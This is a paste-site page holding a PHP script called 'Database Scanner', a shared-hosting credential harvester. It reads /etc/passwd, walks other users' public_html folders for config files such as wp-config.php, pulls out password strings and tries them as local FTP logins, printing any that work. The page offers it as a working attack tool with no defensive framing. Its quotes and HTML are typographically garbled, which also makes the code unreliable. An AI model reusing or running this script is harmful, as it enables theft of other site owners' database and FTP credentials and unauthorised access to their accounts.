[PHP] Databse Scanner


SUBMITTED BY: Guest

DATE: Dec. 14, 2014, 8:42 a.m.

FORMAT: Text only

SIZE: 3.4 kB

HITS: 1241

  1. <!--?php
  2. echo “<html-->”;
  3. echo “<title>[ Database Scanner]</title>”;
  4. set_time_limit(0);
  5. ##################
  6. @$passwd=fopen(‘/etc/passwd’,'r’);
  7. if (!$passwd) {
  8. echo “[-] Error : Can’t read /etc/passwd”;
  9. exit;
  10. }
  11. $path_to_public=array();
  12. $users=array();
  13. $pathtoconf=array();
  14. $i=0;
  15. while(!feof($passwd)) {
  16. $str=fgets($passwd);
  17. if ($i>35) {
  18. $pos=strpos($str,”:”);
  19. $username=substr($str,0,$pos);
  20. $dirz=”/home/$username/public_html/”;
  21. if (($username!=”")) {
  22. if (is_readable($dirz)) {
  23. array_push($users,$username);
  24. array_push($path_to_public,$dirz);
  25. }
  26. }
  27. }
  28. $i++;
  29. }
  30. ###################
  31. #########################
  32. echo “<br><br>”;
  33. echo “<textarea name="’main_window’" cols="100" rows="20">”;
  34. echo “[+] Founded “.sizeof($users).” entrys in /etc/passwd\n”;
  35. echo “[+] Founded “.sizeof($path_to_public).” readable public_html directories\n”;
  36. echo “[~] Searching for passwords in config.* files…\n\n”;
  37. foreach ($users as $user) {
  38. $path=”/home/$user/public_html/”;
  39. read_dir($path,$user);
  40. }
  41. echo “\n[+] Done\n”;
  42. function read_dir($path,$username) {
  43. if ($handle = opendir($path)) {
  44. while (false !== ($file = readdir($handle))) {
  45. $fpath=”$path$file”;
  46. if (($file!=’.') and ($file!=’..’)) {
  47. if (is_readable($fpath)) {
  48. $dr=”$fpath/”;
  49. if (is_dir($dr)) {
  50. read_dir($dr,$username);
  51. }
  52. else {
  53. if (($file==’config.php’) or ($file==’header.inc.php’) or ($file==’content.inc.php’) or ($file==’mainfile.php’) or ($file==’utils.inc.php’) or ($file==’main.php’) or ($file==’config.inc.php’) or ($file==’db.inc.php’) or ($file==’connect.php’) or ($file==’wp-config.php’) or ($file==’var.php’) or ($file==’configure.php’) or ($file==’configuration.php’) or ($file==’configurations.php’) or ($file==’configs.php’) or ($file==’config.locale.php’) or ($file==’db.inc.php’) or ($file==’dbconnect.inc.php’) or ($file==’dbconnection.php’) or ($file==’var.php’) or ($file==’mysql.php’) or ($file==’global.inc.php’) or ($file==’database.php’) or ($file==’dbconnect.php’) or ($file==’conf.php’) or ($file==’configDB.inc.php’) or ($file==’db.php’) or ($file==’db_connect.php’)) {
  54. $pass=get_pass($fpath);
  55. if ($pass!=”) {
  56. echo “[+] $fpath\n$pass\n”;
  57. ftp_check($username,$pass);
  58. }
  59. }
  60. }
  61. }
  62. }
  63. }
  64. }
  65. }
  66. function get_pass($link) {
  67. @$config=fopen($link,’r');
  68. while(!feof($config)) {
  69. $line=fgets($config);
  70. if (strstr($line,’pass’) or strstr($line,’password’) or strstr($line,’passwd’)) {
  71. if (strrpos($line,’”‘))
  72. $pass=substr($line,(strpos($line,’=')+3),(strrpos($line,’”‘)-(strpos($line,’=')+3)));
  73. else
  74. $pass=substr($line,(strpos($line,’=')+3),(strrpos($line,”‘”)-(strpos($line,’=')+3)));
  75. return $pass;
  76. }
  77. }
  78. }
  79. function ftp_check($login,$pass) {
  80. @$ftp=ftp_connect(’127.0.0.1′);
  81. if ($ftp) {
  82. @$res=ftp_login($ftp,$login,$pass);
  83. if ($res) {
  84. echo ‘[FTP] ‘.$login.’:’.$pass.” Success\n”;
  85. }
  86. else ftp_quit($ftp);
  87. }
  88. }
  89. echo “</textarea><br>”;
  90. echo “”;
  91. ?>

comments powered by Disqus